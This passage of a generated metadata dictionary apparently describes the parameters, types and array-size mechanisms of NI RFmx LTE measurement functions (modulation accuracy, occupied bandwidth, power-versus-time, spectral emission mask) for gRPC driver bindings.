'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'psschMeanDataPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'psschMeanDMRSPower', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchPSSCHSymbolPowerArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'psschMeanDataPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'psschMeanDMRSPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPUSCHConstellationTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'dataConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'dataConstellationArraySize', 'value_twist': 'dataConstellationActualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'dataConstellationArraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'dataConstellationActualArraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'dmrsConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'dmrsConstellationArraySize', 'value_twist': 'dmrsConstellationActualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'dmrsConstellationArraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'dmrsConstellationActualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPUSCHDMRSEVM': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_dmrs_evm', 'name': 'meanRMSDMRSEVM', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'maximum_peak_dmrs_evm', 'name': 'maximumPeakDMRSEVM', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchPUSCHDMRSEVMArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_dmrs_evm', 'name': 'meanRMSDMRSEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'grpc_name': 'maximum_peak_dmrs_evm', 'name': 'maximumPeakDMRSEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPUSCHDataEVM': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanRMSDataEVM', 'type': 'float64' }, { 'direction': 'out', 'name': 'maximumPeakDataEVM', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchPUSCHDataEVMArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanRMSDataEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'maximumPeakDataEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPUSCHDemodulatedBits': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'bits', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'int8[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchPUSCHSymbolPower': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'puschMeanDataPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'puschMeanDMRSPower', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchPUSCHSymbolPowerArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'puschMeanDataPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'puschMeanDMRSPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchRMSMagnitudeErrorPerSymbolTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'rmsMagnitudeErrorPerSymbol', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchRMSPhaseErrorPerSymbolTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'rmsPhaseErrorPerSymbol', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchSRSConstellation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'srsConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchSRSEVM': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_srs_evm', 'name': 'meanRMSSRSEVM', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanSRSPower', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchSRSEVMArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_srs_evm', 'name': 'meanRMSSRSEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'meanSRSPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchSpectralFlatness': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'range1MaximumToRange1Minimum', 'type': 'float64' }, { 'direction': 'out', 'name': 'range2MaximumToRange2Minimum', 'type': 'float64' }, { 'direction': 'out', 'name': 'range1MaximumToRange2Minimum', 'type': 'float64' }, { 'direction': 'out', 'name': 'range2MaximumToRange1Minimum', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchSpectralFlatnessArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'range1MaximumToRange1Minimum', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'range2MaximumToRange2Minimum', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'range1MaximumToRange2Minimum', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'range2MaximumToRange1Minimum', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchSpectralFlatnessTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'spectralFlatness', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'out', 'name': 'spectralFlatnessLowerMask', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'out', 'name': 'spectralFlatnessUpperMask', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchSubblockIQImpairments': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'subblockMeanIQOriginOffset', 'type': 'float64' }, { 'direction': 'out', 'name': 'subblockMeanIQGainImbalance', 'type': 'float64' }, { 'direction': 'out', 'name': 'subblockMeanIQQuadratureError', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchSubblockInBandEmissionMargin': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'subblockInBandEmissionMargin', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchSubblockInBandEmissionTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'subblockInBandEmission', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'subblockInBandEmissionMask', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'subblockInBandEmissionRBIndices', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchSynchronizationSignalConstellation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'sssConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'out', 'name': 'pssConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchSynchronizationSignalEVM': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_pss_evm', 'name': 'meanRMSPSSEVM', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_sss_evm', 'name': 'meanRMSSSSEVM', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchSynchronizationSignalEVMArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_pss_evm', 'name': 'meanRMSPSSEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'grpc_name': 'mean_rms_sss_evm', 'name': 'meanRMSSSSEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'OBWCfgAveraging': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ObwAveragingEnabled', 'name': 'averagingEnabled', 'type': 'int32' }, { 'direction': 'in', 'name': 'averagingCount', 'type': 'int32' }, { 'direction': 'in', 'enum': 'ObwAveragingType', 'name': 'averagingType', 'type': 'int32' } ], 'returns': 'int32' }, 'OBWCfgRBWFilter': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ObwRbwAutoBandwidth', 'name': 'rbwAuto', 'type': 'int32' }, { 'direction': 'in', 'name': 'rbw', 'type': 'float64' }, { 'direction': 'in', 'enum': 'ObwRbwFilterType', 'name': 'rbwFilterType', 'type': 'int32' } ], 'returns': 'int32' }, 'OBWCfgSweepTime': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ObwSweepTimeAuto', 'name': 'sweepTimeAuto', 'type': 'int32' }, { 'direction': 'in', 'name': 'sweepTimeInterval', 'type': 'float64' } ], 'returns': 'int32' }, 'OBWFetchMeasurement': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'occupiedBandwidth', 'type': 'float64' }, { 'direction': 'out', 'name': 'absolutePower', 'type': 'float64' }, { 'direction': 'out', 'name': 'startFrequency', 'type': 'float64' }, { 'direction': 'out', 'name': 'stopFrequency', 'type': 'float64' } ], 'returns': 'int32' }, 'OBWFetchSpectrum': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'spectrum', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'PVTCfgAveraging': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'PvtAveragingEnabled', 'name': 'averagingEnabled', 'type': 'int32' }, { 'direction': 'in', 'name': 'averagingCount', 'type': 'int32' }, { 'direction': 'in', 'enum': 'PvtAveragingType', 'name': 'averagingType', 'type': 'int32' } ], 'returns': 'int32' }, 'PVTCfgMeasurementMethod': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'PvtMeasurementMethod', 'name': 'measurementMethod', 'type': 'int32' } ], 'returns': 'int32' }, 'PVTCfgOFFPowerExclusionPeriods': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'offPowerExclusionBefore', 'type': 'float64' }, { 'direction': 'in', 'name': 'offPowerExclusionAfter', 'type': 'float64' } ], 'returns': 'int32' }, 'PVTFetchMeasurement': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'enum': 'PvtMeasurementStatus', 'name': 'measurementStatus', 'type': 'int32' }, { 'direction': 'out', 'name': 'meanAbsoluteOFFPowerBefore', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanAbsoluteOFFPowerAfter', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanAbsoluteONPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'burstWidth', 'type': 'float64' } ], 'returns': 'int32' }, 'PVTFetchMeasurementArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'enum': 'PvtMeasurementStatus', 'name': 'measurementStatus', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'int32[]' }, { 'direction': 'out', 'name': 'meanAbsoluteOFFPowerBefore', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'meanAbsoluteOFFPowerAfter', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'meanAbsoluteONPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'burstWidth', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'PVTFetchSignalPowerTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'signalPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'out', 'name': 'absoluteLimit', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ResetAttribute': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' } ], 'returns': 'int32' }, 'ResetToDefault': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' } ], 'returns': 'int32' }, 'SEMCfgAveraging': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'SemAveragingEnabled', 'name': 'averagingEnabled', 'type': 'int32' }, { 'direction': 'in', 'name': 'averagingCount', 'type': 'int32' }, { 'direction': 'in', 'enum': 'SemAveragingType', 'name': 'averagingType', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMCfgComponentCarrierMaximumOutputPower': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'componentCarrierMaximumOutputPower', 'type': 'float64' } ], 'returns': 'int32' }, 'SEMCfgComponentCarrierMaximumOutputPowerArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'componentCarrierMaximumOutputPower', 'size': { 'mechanism': 'len', 'value': 'numberOfElements' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'numberOfElements', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMCfgDownlinkMask': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'SemDownlinkMaskType', 'name': 'downlinkMaskType', 'type': 'int32' }, { 'direction': 'in', 'name': 'deltaFMaximum', 'type': 'float64' }, { 'direction': 'in', 'name': 'aggregatedMaximumPower', 'type': 'float64' } ], 'returns': 'int32' }, 'SEMCfgNumberOfOffsets': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'numberOfOffsets', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMCfgOffsetAbsoluteLimit': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'offsetAbsoluteLimitStart', 'type': 'float64' }, { 'direction': 'in', 'name': 'offsetAbsoluteLimitStop', 'type': 'float64' } ], 'returns': 'int32' }, 'SEMCfgOffsetAbsoluteLimitArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'offsetAbsoluteLimitStart', 'size': { 'mechanism': 'len', 'tags': [ 'optional' ], 'value': 'numberOfElements' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'offsetAbsoluteLimitStop', 'size': { 'mechanism': 'len', 'tags': [ 'optional' ], 'value': 'numberOfElements' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'numberOfElements', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMCfgOffsetBandwidthIntegral': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'offsetBandwidthIntegral', 'type': 